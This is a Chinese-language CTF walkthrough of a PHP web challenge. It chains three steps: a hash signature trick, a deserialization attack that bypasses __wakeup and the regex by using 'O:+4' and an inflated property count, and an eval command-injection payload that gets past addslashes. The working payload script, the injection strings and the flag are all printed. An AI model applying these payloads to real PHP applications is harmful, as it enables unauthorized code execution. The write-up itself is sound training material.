打开题目,点击进入链接
有一个提示,要求改变key的值和哈希值,查看源代码
提示
h
a
s
h
=
m
d
5
(
hash=md5(
hash=md5(sign.$key);the length of $sign is 8 解密key=123对应的哈希值:kkkkkk01123 所以sign=‘kkkkkk01’ 然后就好说了,改变key=321,md5加密’kkkkkk01321’ 传入 提示下一步,访问Gu3ss_m3_h2h2.php
好家伙。代码审计一波 demo类里有一些魔法函数,联想到反序列化漏洞 get传入参数var,先base_64解码,然后preg_match正则过滤, /[oc]:\d+:/i \d 是匹配一个数字,+是一个或者多个 最后反序列化var,还提示 the secret is in the f15g_1s_here.php
反序列化漏洞详解参考: 反序列化漏洞
所以我们需要传入var来访问f15g_1s_here.php这个东西: 1.修改file属性为f15g_1s_here.php,序列化对象 2.base_64编码
但是有一个问题,反序列化是会先检查有没有__wakeup()函数,如果有会先执行wakeup函数,__wakeup()函数会改变file的值,所以必须绕过__wakeup()函数 魔法函数wakeup绕过 改变步骤: 1.修改file属性为f15g_1s_here.php,序列化对象 2.改变序列化字符串的属性数目大于实际(绕过__wakeup) 2.base_64编码
再接着想,反序列化之前还有一次过滤呀~~还得绕过 正则匹配到‘O:4’就会报错,怎么绕过呢~ 把4变成+4就可以 改变步骤: 1.修改file属性为f15g_1s_here.php,序列化对象 2.改变序列化字符串的属性数目大于实际(绕过__wakeup) 3.替换‘O:4’为‘O:+4’ 2.base_64编码
步骤有了,脚本实现一下~
<?php
class Demo
{
private $file = 'f15g_1s_here.php';
}
$x = new Demo;
$c = serialize($x);
$c = str_replace('O:4','O:+4',$c);
$c = str_replace(':1:',':2:',$c);
$d = base64_encode($c);
echo ($d);
?>
把跑出来的var传参得到f15g_1s_here.php的源码
再看代码。。 需要get传参val;后面又有一个eval函数,addslashes对val进行了转义 又是考绕过,如果没有转义函数的话,可以构造
val = ${eval(echo `ls`;)}
但是addslashes转义了,可以考虑把echo命令变成变量绕过
val=${eval($_GET[a])}&a=echo `ls`;
传参后得到目录文件True_F1ag_i3_Here_233.php
修改命令cat True_F1ag_i3_Here_233.php
什么都没有。。查看源码 拿到flag:flag{64402796-e35d-4fef-8432-ebdfb459a157}
知识点: 1.hash 2.反序列化 3.命令执行
结束语
熬过无人问津的日子,才有诗和远方
|